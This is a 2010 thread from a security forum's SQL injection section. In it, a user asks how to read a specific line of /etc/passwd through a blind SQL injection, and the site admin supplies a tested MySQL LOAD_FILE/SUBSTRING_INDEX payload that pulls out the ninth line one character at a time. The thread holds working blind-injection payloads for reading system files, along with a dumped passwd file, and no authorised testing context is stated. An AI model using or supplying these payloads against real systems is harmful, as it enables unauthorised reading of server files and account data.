Waraxe IT Security Portal
Login or Register
July 27, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 206
Members: 0
Total: 206
Full disclosure
CyberDanube Security Research 20240722-0 | Multiple Vulnerabilities in Perten/PerkinElmer ProcessPlus
[KIS-2024-06] XenForo <= 2.2.15 (Template System) Remote Code Execution Vulnerability
[KIS-2024-05] XenForo <= 2.2.15 (Widget::actionSave) Cross-Site Request Forgery Vulnerability
CVE-2024-33326
CVE-2024-33327
CVE-2024-33328
CVE-2024-33329
CyberDanube Security Research 20240703-0 | Authenticated Command Injection in Helmholz Industrial Router REX100
SEC Consult SA-20240627-0 :: Local Privilege Escalation via MSI installer in SoftMaker Office / FreeOffice
SEC Consult SA-20240626-0 :: Multiple Vulnerabilities in Siemens Power Automation Products
Novel DoS Vulnerability Affecting WebRTC Media Servers
APPLE-SA-06-25-2024-1 AirPods Firmware Update 6A326, AirPods Firmware Update 6F8, and Beats Firmware Update 6F8
40 vulnerabilities in Toshiba Multi-Function Printers
17 vulnerabilities in Sharp Multi-Function Printers
SEC Consult SA-20240624-0 :: Multiple Vulnerabilities allowing complete bypass in Faronics WINSelect (Standard + Enterprise)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Problem with SQL blind..'LIMIT'
Post new topicReply to topic View previous topic :: View next topic
Problem with SQL blind..'LIMIT'
PostPosted: Mon Jan 18, 2010 4:04 pm Reply with quote
kr0k0
Advanced user
Advanced user
Joined: Jan 26, 2008
Posts: 128




Hey,

Code:
AND (substring((SELECT load_file('/etc/passwd') limit 0,1),1,1)='r')


I have a SQL blind ...and I wanna selecte a line into the file that I load'..When i try like that I just got the first one..

Code:
root:x..


So I want to choose another line for example as "www-data:x:33:33:www-data:/v.." I have tried with LIMIT x,y but it gave me the same result.. Need a solution please..

Code:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
dhcp:x:101:101::/nonexistent:/bin/false
syslog:x:102:102::/home/syslog:/bin/false
klog:x:103:103::/home/klog:/bin/false
cupsys:x:100:106::/home/cupsys:/bin/false
messagebus:x:104:107::/var/run/dbus:/bin/false


Plz need help, is very important for me..and Thank's in advanced...
View user's profile Send private message Visit poster's website
PostPosted: Mon Jan 18, 2010 5:52 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




LOAD_FILE() does read in full contents of the file. In "/etc/password" lines are separated with newlines ("\n"), but still you can access all lines by using SUBSTRING() function in MySql. "LIMIT" is not needed here!
And if you want to access specific line in file directly, then use MySql string functions to find needed newline position and then substring with offset can do the work.

http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_substring-index

Code:

Posted by Bob Collins on March 17 2006 8:56pm [Delete] [Edit]

MySQL does not include a function to split a delimited string. Although separated data would normally be split into separate fields within a relation data, spliting such can be useful either during initial data load/validation or where such data is held in a text field.

The following formula can be used to extract the Nth item in a delimited list, in this case the 3rd item "ccccc" in the example comma separated list.

select replace(substring(substring_index('aaa,bbbb,ccccc', ',', 3), length(substring_index('aaa,bbbb,ccccc', ',', 3 - 1)) + 1), ',', '') ITEM3

The above formula does not need the first item to be handled as a special case and returns empty strings correctly when the item count is less than the position requested.

View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Tue Jan 19, 2010 1:25 pm Reply with quote
kr0k0
Advanced user
Advanced user
Joined: Jan 26, 2008
Posts: 128




Euh can you give me somes examples waraxe? with columns or load_file() function cuz I just have tried this and it doesnt workin'..Sorry and thank's for all things...


Code:
AND ascii(substring((SELECT SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),'\n',1)),1,1))>114


It give me just the same results as first.. ( root:...)

I'm waiting.. Rolling Eyes
View user's profile Send private message Visit poster's website
PostPosted: Tue Jan 19, 2010 2:13 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




I did some practical tests in phpmyadmin and here is working example:

Code:

SELECT REPLACE(SUBSTRING(SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),0x0a,9),LENGTH(SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),0x0a,9-1))+1),0x0a,'')


This piece of sql code will select 9-th line from "/etc/passwd".
Next you must put this code inside your sql payload:

Code:

AND (SUBSTRING((SELECT REPLACE(SUBSTRING(SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),0x0a,9),LENGTH(SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),0x0a,9-1))+1),0x0a,'')),1,1)='w')
View user's profile Send private message Send e-mail Visit poster's website
Problem with SQL blind..'LIMIT'
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.159 Seconds